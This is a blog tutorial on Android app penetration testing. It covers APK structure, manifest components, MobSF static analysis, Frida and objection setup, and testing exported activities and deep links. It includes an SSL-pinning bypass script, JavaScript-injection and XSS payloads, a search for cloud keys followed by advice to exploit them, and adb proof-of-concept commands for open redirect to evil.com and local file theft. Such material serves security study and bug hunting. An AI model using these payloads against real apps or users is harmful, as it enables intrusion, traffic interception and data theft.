Android App Security & Testing

SACHIN GROVER
InfoSec Write-ups
Published in
20 min readJul 31, 2020

#android #findBugs

Here, I am going to discuss about static analysis of app, as well as some issues which you should look into.

You will also learn about setting up tools like mobsf, Frida and objection to bypass SSL pinning.

So, let’s start with some

Basic Terminology:

  • Android applications are in the APK file format. APK is basically a ZIP file. (You can rename the file extension to .zip and use unzip to open and see its contents.)
  • APK Contents (Only few are listed here)

-> META-INF/ :Certificate lives here!

-> classes.dex: Dalvik bytecode for application in the DEX file format. This is the Java (or Kotlin) code that the application will run by default.

-> lib/: Native libraries for the application, by default, live here! Under the lib/ directory, there are the cpu-specific directories.

-> armeabi: compiled code for all ARM based processors only

-> armeabi-v7a: compiled code for all ARMv7 and above based processors only

-> x86: compiled code for X86

-> mips: compiled code for MIPS processors only

-> assets/: Any other files that may be needed by the app.

  • Additional native libraries or DEX files may be included here. This can happen especially when malware authors want to try and “hide” additional code, native or Dalvik, by not including it in the default locations.

-> res/: the directory containing resources not compiled into resources.arsc

-> resources.arsc: a file containing precompiled resources, such as binary XML for example.

Activity- An activity is an entry point for interacting with the user. It represents a single screen with a user interface(UI). Activities provide the users with an interface to interact with the app i.e. see what’s on the screen and perform actions.

The launcher activity is what most people think of as the entry point to an Android application. The launcher activity is the activity that is started when a user clicks on the icon for an application. You can determine the launcher activity by looking at the application’s manifest. The launcher activity will have the following MAIN and LAUNCHER intents listed.

<activity android:name=”.LauncherActivity”>
<intent-filter>
<action android:name=”android.intent.action.MAIN” />
<category android:name=”android.intent.category.LAUNCHER” />
</intent-filter>
</activity>

Services- A service is a general-purpose entry point for keeping an app running in the background for all kinds of reasons. Services perform operations in the background i.e. background sync, handling notifications, playing music. Services do not have a UI.

A service can be exported which allows other processes on the device to start the service. By default services aren't exported but it can be configured in the manifest:

<service android:name=".sampleExportedService" android:exported="true"/>

Broadcast receivers- A broadcast receiver is a component that enables the system to deliver events to the app outside of a regular user flow, allowing the app to respond to system-wide broadcast announcements. An example of this can be apps showing notifications for certain events like alarms, reminders, app notifications, etc.

Content Providers- A content provider supplies data from one application to others on request. A content provider can store data in different formats such as a file, SQLite database, or even fetch data over the network. External apps can query or modify data if permitted by the content provider.

It is much similar like databases and has four methods.

  • insert()
  • update()
  • delete()
  • query()

Exported — Attribute which says whether the service can be accessed by other application or not

<service android:name=”.sampleExportedService” android:exported=”true”/>

Intent- Intents are asynchronous messages which bind individual components to each other at runtime.Intents allows to interact with other android components. From the above mentioned components, activities, services and broadcast receivers can be activated using an intent.

Intent Filter

Intent Filters specifies the types of Intent that an activity, service, or Broadcast Receiver can respond to.

  • An Intent Filter declares the capabilities of a component. It specifies what an activity or service can do and what types of broadcasts a Receiver can handle.
  • It allows the corresponding component to receive Intents of the declared type.
  • IntentFilters are typically defined via the AndroidManifest.xml file.
  • For BroadcastReceiver it is also possible to define them in coding. An IntentFilters is defined by its category, action and data filters. It can also contain additional metadata.
  • If any of the component is public then it can be accessed from another application installed on the same device.
  • In Android a activity/services/content provider/broadcast receiver is public when exported is set to true but a component is also public if the manifest specifies an Intent filter for it.
  • However, developers can explicitly make components private (regardless of any intent filters) by setting the “exported” attribute to false for each component in the manifest file. Developers can also set the “permission” attribute to require a certain permission to access each component, thereby restricting access to the component.
  • Permissions applied using the android:permission attribute to the <activity> tag or other tags in the manifest restrict who can start that Activity. The permission is checked during Context.startActivity() and Activity.startActivityForResult(). If the caller doesn't have the required permission then SecurityException is thrown from the call.

URL schemes —

An application can declare an URL schema inside an activity so every time the Android device try to access an address using that schema the applications activity will be called:

In this case the scheme in myapp://

If inside the intent-filteryou find something like this:

Then, it’s expecting something like http://www.example.com/gizmos

If you find something like this:

It will mean that it’s expecting a URL starting by example://gizmos In this case you could try to abuse the functionality creating a web with the following payloads. It will try to navigate to arbitrary pages and try to execute JS:

<a href="example://gizmos/https://google.com">click here</a><a href="example://gizmos/javascript://%250dalert(1)">click here</a>

How do we start each of them?

  • Activities can be started by passing an an Intent to the startActivity() method.
  • You can start a service from an activity or other application component by passing an Intent to startService() or startForegroundService(). The Android system calls the service's onStartCommand() method and passes it the Intent, which specifies which service to start.
  • When the startService API is called to start a Service, the onStart method in the Service is executed
  • You can initiate a broadcast by passing an Intent to methods such as sendBroadcast(), sendOrderedBroadcast() .
  • There are 2 ways that an app can register a broadcast receiver: in the app’s Manifest using intents or dynamically registered in the app’s code using the registerReceiver() API call.

When the specific broadcasts are sent that the receiver is registered for are sent, onReceive method in the BroadcastReceiver class is executed.

  • You can perform a query to a content provider by calling query() on a ContentResolver().

AndroidManifest.xml

Every application must have an AndroidManifest.xml(exact like here given name) file in its root directory. The manifest presents essential information about the application to the Android system, information the system must have before it can run any of the application’s code.

You can get this file using apktool or mobsf

Command: apktool d sample-app.apk

Tags which are Security Related

  1. <android:sharedUserId>
    The name of a Linux user ID that will be shared with other applications. By default, Android assigns each application its own unique user ID. However, if this attribute is set to the same value for two or more applications, they will all share the same ID — provided that they are also signed by the same certificate.
    Application with the same user ID can access each other’s data and, if desired, run in the same process.

2. <uses-permission>

Requests a permission that the application must be granted in order for it to operate correctly. Permissions are granted by the user when the application is installed, not while it’s running.
SYNTAX:

<uses-permission android:name="string" />

android:name
The name of the permission such as “android.permission.CAMERA” or “android.permission.READ_CONTACTS

3. android:debuggable
Whether or not the application can be debugged, even when running on a device in user mode — “true” if it can be, and “false” if not. The default value is “false”

<applicationandroid:debuggable=”false”</application>

4. <permission>
Declares a security permission that can be used to limit access to specific components or features of this or other applications. You can use this to define your own Permission for your application.
SYNTAX

<permission android:description=”string resource”
android:icon=”drawable resource”
android:label=”string resource”
android:name=”string”
android:permissionGroup=”string”
android:protectionLevel=[“normal” | “dangerous” |
“signature” | “signatureOrSystem”] />

android:protectionLevel
Characterizes the potential risk implied in the permission and indicates the procedure the system should follow when determining whether or not to grant the permission to an application requesting it.

Android apps must request permission to access sensitive user data (such as contacts and SMS), as well as certain system features (such as camera and internet). Depending on the feature, the system might grant the permission automatically or might prompt the user to approve the request.

The value can be set to one of the following strings:
“normal” :- The default value. A lower-risk permission that gives requesting applications access to isolated application-level features, with minimal risk to other applications, the system, or the use
“dangerous”:- A higher-risk permission that would give a requesting application access to private user data or control over the device that can negatively impact the user. Because this type of permission introduces potential risk, the system may not automatically grant it to the requesting application. For example, any dangerous permissions requested by an application may be displayed to the user and require confirmation before proceeding
signature”:- A permission that the system grants only if the requesting application is signed with the same certificate as the application that declared the permission. If the certificates match, the system automatically grants the permission without notifying the user or asking for the user’s explicit approval

Two apps of the same company should be signed with signature permission
“signatureOrSystem”:- A permission that the system grants only to applications that are in the Android system image or that are signed with the same certificate as the application that declared the permission. Please avoid using this option, as the signature protection level should be sufficient for most needs and works regardless of exactly where applications are installed. The “signatureOrSystem” permission is used for certain special situations where multiple vendors have applications built into a system image and need to share specific features explicitly because they are being built together.

Android Sandbox

Once installed on a device, each Android app lives in its own security sandbox: — The Android operating system is a multi-user Linux system in which each app is a different user.

  • By default, the system assigns each app a unique Linux user ID (the ID is used only by the system and is unknown to the app). The system sets permissions for all the files in an app so that only the user ID assigned to that app can access them.
  • Each process has its own virtual machine (VM), so an app’s code runs in isolation from other apps.
  • By default, every app runs in its own Linux process.

Preparing the Connection & Setting Basic Tools

  • Install Tools:
  1. install JAVA JDK, jarsigner is required, make sure path of jarsigner is in the PATH variable.
  2. Install apktool (https://ibotpeaches.github.io/Apktool/install/): Apktool is used for disassembling and patching android apps. It will give smali code as well as readable AndroidManifest.xml file.
  3. You need to install Android SDK also for tools like “adb” or if you do not need full Android Studio, you can just download the basic Android command line tools. Make sure you put the install path in the $PATH so that you can access the tools from anywhere.
  4. Install jd-gui (from here), this tool will help you see the java source code.
  5. Install dex2jar (from here), this will help you convert your classes.dex file to jar filewhich can then be opened in jd-gui. you can pass an apk as input to this tool or classes.dex file as input.
  6. Install frida and objection(More info on these are described later)
pip3 install frida-tools
pip3 install objection
or for updating these tools:pip3 install frida-tools --upgrade
pip3 install objection --upgrade

Note: Make sure all the tools are in your $PATH

  • Run your emulator(genymotion) or android emulator from Android Studio or connect your device using usb.
  • First, you’ll need to connect your Android device to the computer you wish to proxy through.
  • Next, you’ll want to set up a reverse port-forward from your phone to your computer, using adb reverse.
  • This will forward anything on your phone that attempts to connect to localhost:8123, to the connected computer.

root@kali:~$ adb reverse tcp:8123 tcp:8123

  • With the reverse forward setup, you’ll want to set up the Android proxy settings.
  • To do this, go to your network connections, edit the connection, and show the advanced options.

https://blog.jamie.holdings/2018/09/05/bypass-certificate-pinning-on-android

Run the below command to check if you can see the device:

# adb devices

Pull the APP for static analysis

adb shell pm list packages

  • Look through the list of package names and try to find a match between the app in question and the package name.
  • This is usually easy, but note that the package name can be completely unrelated to the app name. If you can’t recognize the app from the list of package names, try finding the app in Google Play using a browser. The URL for an app in Google Play contains the package name.
  • Get the full path name of the APK file for the desired package.

adb shell pm path com.example.someapp

The output will look something like this: package:/data/app/com.example.someapp-2.apk

adb pull /data/app/com.example.someapp-2.apk

  • you can merge the above two commands in one using the -f option (which displays associated file, just pull the file after this) :
    `adb shell pm list packages -f | grep someapp
    -> package:/data/app/com.example.someapp-2/base.apk=com.example.someapp`
  • BTW, a useful trick to quickly find the associated package is to launch the app and find the displayed activity using this command:

adb shell dumpsys activity top | grep ACTIVITY

-> ACTIVITY com.example.someapp/.app.HomeActivity 2dbf6e2 pid=18453

  • Once you get the app either above way or download it directly, you can start static analysis of app using MobSF
# docker pull opensecurity/mobile-security-framework-mobsf 
# docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

Static Analysis

  • Once Mobsf is up and running, you can go to localhost:8000 and drop/open your apk in it, it will unzip the apk, get the Java source code for you and give you report after static analysis.
  • You can even save the java source code from MobSF UI itself and then grep for stuff or manual analysis

What specific strings/keys/sensitive info do you peeps grep for in a decompiled APK?

  1. I search for deeplink endpoints usually “customhost://”, so searching for “://” often returns interesting stuff. Also cloud API keys, and exploit the key with awscli.
    “grep -RP ‘(?<![A-Za-z0–9/+=])[A-Za-z0–9/+=]{40}(?![A-Za-z0–9/+=])’ *”.
  2. There’s also specific methods that can lead to insecure implementations such as shouldOverrideUrlLoading, shouldInterceptRequest, onDownloadStart, FirebaseDatabase.getInstance(), and setJavaScriptEnabled(true).
  3. Lastly parsing AndroidManifest.xml for exported components. exported=”true”
  4. Look for sensitive data (like secret, S3 bucket URLs, apikey, bearer token, auth Token, hardcoded credentials for 3rd party services, password, user, username, git, db, database, api key, token, auth, http, other protocols.) within AndroidManifest.xml or strings.xml under directory (res →value).
  5. Pay special attention to firebase URLs and check if it is bad configured
  • Copy the url and append /.json at the end and open this in browser . If the response is something other than “Permssion Denied” then it can be a valid bug. For further exploitation read this blog.
  • MobSF also extracts all the strings and present on the UI so you can search the same on UI too.

Exported activities: Check for exported activities inside the manifest as this could be dangerous.

  • When an Activity is exported you can invoke its screen from an external app.
  • Therefore, if an activity with sensitive information is exported you could bypass the authentication mechanisms to access it.
  • Review source code of the activity class which is exported and see if activity is accepting user provided intent data. You can get the class name from the manifest file, mentions under android:name=”classnamehere

You can start an exported activity from adb:

  • PackageName is com.sample.test
  • Exported ActivityName is com.sample.test.MainActivity
adb shell am start -n <package_name>/<activity_name>
adb shell am start -n com.sample.test/com.sample.test.MainActivity

Content Providers: If a exported provider is being exposed, you could b able to access/modify interesting information.

Exposed Services: Depending on what the service is doing internally vulnerabilities could be exploited.

  • If an application is exporting some services you should check the code to understand what is it doing

Broadcast Receivers: A broadcast receiver will be waiting for a type of message. Depending on how the receiver handles the message it could be vulnerable.

URL scheme: Read the code of the activity managing the schema and look for vulnerabilities managing the input of the user.

  • You can open a declared scheme using adb :
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
  • or a browser:
<a href=”scheme://hostname/path?param=value”>Click me</a><! — fallback in your url you could try the intent url →<a href=”intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>

Other interesting functions

  • Code execution: Runtime.exec(), ProcessBuilder(), native code:system()
  • Send SMSs: sendTextMessage, sendMultipartTestMessage
  • Native functions declared as native: public native, System.loadLibrary, System.load
  • Perform some operations and check logcat for leakage of any sensitive info.

SQLite Database:

Most of the applications use internal SQLite databases to save information. During the analysis take a look to the databases created, the names of tables and columns and all the data saved because you could find sensitive information (which would be a vulnerability). Databases should be located in /data/data/sample_package/databases like /data/data/com.sample.app/databases

If the database is saving confidential information and is encrypted but you can find the password inside the application it’s still a vulnerability.

Enumerate the tables using .tables and enumerate the columns of the tables doing .schema <table_name>

Frida

  • We need a program for dynamically analysis of running applications and the one that I recommend is Frida.
  • So lets install Frida if not already installed:

pip install frida-tools

Install frida-server to the device.

  • Download the latest frida-server from and choose the correct architecture depending on your device.
    - I use Pixel 3 and the architecture is arm64 but the avd/emulator will have x86 arch, so download the x86 version of frida-server.
  • You can check the CPU type
# adb shell getprop ro.product.cpu.abi
arm64-v8a

Download Appropriate frida-server

wget https://github.com/frida/frida/releases/download/11.0.3/frida-server-11.0.3-android-arm64.xz (For ARM64) (as I use device)
  • Extract the archive
unxz frida-server-11.0.3-android-arm64.xz
  • Rename to frida-server
mv frida-server-11.0.3-android-arm64 frida-server
  • Now we need to transfer this frida-server to the device.
  • To do that we need to use adb
adb push frida-server /data/local/tmp
  • Change permissions on the file so we can execute it
adb shell chmod 755 /data/local/tmp/frida-server
  • Now we can run frida-server
adb shell “/data/local/tmp/frida-server &”
  • Verify that frida-server works by listing installed program on the device
frida-ps -Uai
  • The -U argument is used when the device is connected by USB or in this case a android virtual device.
  • On host system
frida-ps -Uai | findstr tata        (searching for tatacliq app)

Non rooted device

  • This method will modify a apk and patch it with frida-gadget. That means Objection will try to add a new call to frida-gadget library in the main activity and inject frida-gadget to the lib folder in the apk.
  • Objection does not always succeed with patching apk, so don’t trust it to work every time.

Patch apk with Objection

  • We need to specify for which architecture we want to patch the apk with frida-gadget.
  • As we know, android can run x86(example: emulator) or arm64 (like mobile device)
  • you can specify the correct arch with -a option of objection
  • If you specify -a arm, you will see architectures supported by objection and then you can pass the correct arch.
  • As I specified above my arch is arm64-v8a so for me command is :
objection patchapk -s app.name.apk -a arm64-v8a
  • When the patching is complete the file will have objection in the filename
  • If the patching was successful install patched apk to the device
adb install app.name.objection.apk

or push apk to device and manually install it

adb push com.app.name.objection.apk /sdcard/Download

Run modified app

  • Once you run your objection injected app which you just installed, you will see that a black screen, that’s because app is injected with frida gadget and waiting for frida client to connect to it.
  • Inject to process and start exploring the app.
  • Using objection:
objection --gadget “com.app.name” explore -q

or using frida:

frida-ps -Uai

and then

frida -U -n <name_of_the_gadget>

Patching failed and rooted device

  • If objection failed to patch an apk, you can still use objection if you have a rooted device.
  • This works because the frida-server is used instead of frida-gadget.
  • So start frida-server on your device
adb shell “/data/local/tmp/frida-server &”
  • Then you can start objection with the app name
objection --gadget “com.app.name” explore -q

Disable sslpinning

  • Some apps use sslpinning to protect the network connection from being sniffed on, but this can be bypassed with objection.
  • Run objection as above, and run this command in objection terminal to disable sslpinning:
android sslpinning disable

You can try disabling ssl pinning using frida also:

  • Create a .js file to by-pass ssl-pinning
Java.perform(function() {
var array_list = Java.use(“java.util.ArrayList”);
var ApiClient = Java.use(‘com.android.org.conscrypt.TrustManagerImpl’);
ApiClient.checkTrustedRecursive.implementation = function(a1, a2, a3, a4, a5, a6) {
console.log(‘Bypassing SSL Pinning’);
var k = array_list.$new();return k;
}
}, 0);
  • Get the package name by running the frida server on the android device as explained above, and then run “frida-ps -U” on your linux/windows host.
  • Run below command to bypass SSL pinning on your app:
frida -U -f <com.package_name> -l bypass-ssl.js — no-pause

— — — — — — — — — — — — — — — — — — — — — — — — — -

Static/Dynamic Analysis

Look at API calls that can execute system commands, such as:

Runtime.exec()
ProcessBuilder()
system()

WEBVIEW

  • Used to display a web page
  • All you need is android.permission.INTERNET
  • Look for setJavaScriptEnabled(true);
  • JavaScript is disabled in a WebView by default

Script to pull APK (taken from b3nac RedTeamVillage Video)

autoapk.sh:

#!/bin/bashif [[ -z $1 ]]; then
echo "Usage: $0 <Name of APK>"
fi
APK_PATH="$(adb shell pm path $1)"
echo "${APK_PATH#*:}"
APK_PATH=${APK_PATH#*:}
adb pull $APK_PATH
# Make sure we successfully pulled down an APK before renaming it
if [[ -f base.apk ]]; then
mv base.apk $1.apk
fi
# Open in JADX-GUI if you specify
if [[ "$2" == "--jadx" ]] || [[ "$2" == "-j" ]]; then
$(which jadx-gui) $1.apk
fi

Alias:

alias autoapk="bash $HOME/.android_sec_tools/autoapk.sh"

Example usage (this will pull down the apk for chromium and then open it with jadx-gui:

autoapk org.chromium.chrome --jadx

Android Deep Link

A deep link is an intent filter that allows users to directly enter a specific activity in your Android app. Clicking one of these links might open a disambiguation dialog, which allows the user to select one of multiple apps (including yours) that can handle the given URL. For example, figure 1 shows the disambiguation dialog after the user clicks a map link, asking whether to open the link in Maps or Chrome.

Deep Links are declared with in intent filters.

The following XML snippet shows how you might specify an intent filter in your manifest for deep linking. The URIs “example://gizmos” and “http://www.example.com/gizmos” both resolve to this activity.

<activity
android:name="com.example.android.GizmosActivity"
android:label="@string/title_gizmos" >
<intent-filter android:label="@string/filter_view_http_gizmos">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<!-- Accepts URIs that begin with "http://www.example.com/gizmos” -->
<data android:scheme="http"
android:host="www.example.com"
android:pathPrefix="/gizmos" />

<!-- note that the leading "/" is required for pathPrefix-->
</intent-filter>
<intent-filter android:label="@string/filter_view_example_gizmos">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<!-- Accepts URIs that begin with "example://gizmos” -->
<data android:scheme="example"
android:host="gizmos" />

</intent-filter>
</activity>
  • Search for the android:exported=”true” activities in “AndroidManifest.xml”
  • Open this activity in JADx-GUI → Search for “SetJavascriptEnable
  • Now check for any intents in the activity.
  • A user with root permissions (i.e. # terminal) on the device can invoke any activity, simply by sending an intent to the desired activity. For example:
$ adb shell am start -n <package_name>/<activity_name>
  • But as a non-root user, you cannot invoke any non-exported app component. You can use above command to exploit exported activities/services/providers/receivers

Testing Exported Activities

adb shell am start -n <package>/<activity> -e <parameter> "data_to_send"

-n: provide name of package and associated activity
-e: the parameter to send your data (and the subsequent data itself)

Example:

adb shell am start -n b3nac.injuredandroid/b3nac.injuredandroid.FlagTwelveExportedActivity -e totally_secure "https://google.com"

Creating A Java POC

package target.package.poc;// Resolve these via Android Studio
import ...
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

Intent intent = new Intent();
intent.setClassName("package.to.target", "package.to.target.TargetActivity");
intent.putExtra("parameter", "data_to_send_ie<svg onload=prompt(1)>");
startActivity(intent);
}
}

Test your deep links

You can use the Android Debug Bridge with the activity manager (am) tool to test that the intent filter URIs you specified for deep linking resolve to the correct app activity. You can run the adb command against a device or an emulator.

The general syntax for testing an intent filter URI with adb is:

$ adb shell am start
-W -a android.intent.action.VIEW
-d <URI> <PACKAGE>

am - activity manager
start - start an activity with an intent that will be specified later
-W - wait to finish the command until the intent handling has finished
-a - action for this intent
-d - url

For example, the command below tries to view a target app activity that is associated with the specified URI.

$ adb shell am start
-W -a android.intent.action.VIEW
-d "example://gizmos" com.example.android
  • How do we know what we should call?

For that we should look at the manifest, and look for the activities declarations, those which are defined as exported or which has intents can be invoked even on non rooted device.

  • Search for “://” in Android Manifest, it will help in finding custom deeplinks also.
adb shell am start -n bounty.pay/.PartOneActivity -a android.intent.action.VIEW -d “one://part?start=PartTwoActivity”

Android Deep Linking with multiple query parameters

adb shell am start -W -a android.intent.action.VIEW -d "myCustomScheme://myHost?key=category_parent_id\&value=93\&title=test" com.myApp.android

(note that we need to use a \ before & when using multiple query parameters)

Example:

Snippet#1

Code :“intent.putExtra(“EXTRA_URL”, str);”

  • In android “putExtra(String name, str)” is used to add extended data to the intent. It has two parameters, first one specifies the name which of the extra data,and the second parameter is the data itself.

Snippet#2

Code :“loadUrl(getIntent().getStringExtra(“EXTRA_URL”));”

  • In this case, getIntent() Return the intent that started this activity. If you start an Activity with some data. Let’s make it very simple and short, “intent.putExtra(“EXTRA_URL”, str);” means, you can consider “EXTRA_URL” as a variable & getStringExtra(“EXTRA_URL”)) is used here to get the data or value from “EXTRA_URL” variable.

Proof-of-Concepts Reproduce OpenRedirect:

am start -W -n app.company/.ui.events.web.WebViewActivity -a ACTION_OPEN_WEB -e EXTRA_URL https://evil.com

Reproduce Javascript Injection:

am start -n app.company/.ui.events.web.WebViewActivity -a ACTION_OPEN_WEB -e EXTRA_URL "javascript://google.com%0A alert(lol);"

Reproduce Local File Steal: That bug can :

→ Reveal token, auth, config etc in app sandbox

→ Reveal User data in app sandbox

→ Access ‘/sdcard’ data, if permitted

am start -n app.company/.ui.events.web.WebViewActivity -a ACTION_OPEN_WEB -e EXTRA_URL 'file:///sdcard/personal.txt'

Tool: https://github.com/mzfr/slicer

References:

fingerprint Bypass:

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Responses (3)

Write a response

Hi there,
Thank you for the clear explanation!
Testing Android apps has become crucial in today's world, and it has become the top priority for companies to implement this process.
I would also like to invite you to check out my latest blog post, where…

--

so much helpful stuff here thanks a lot

--

-> classes.dex: The classes compiled in the dex file format understandable by the Dalvik virtual machine

You mentioned classes.dex in APK format twice?

--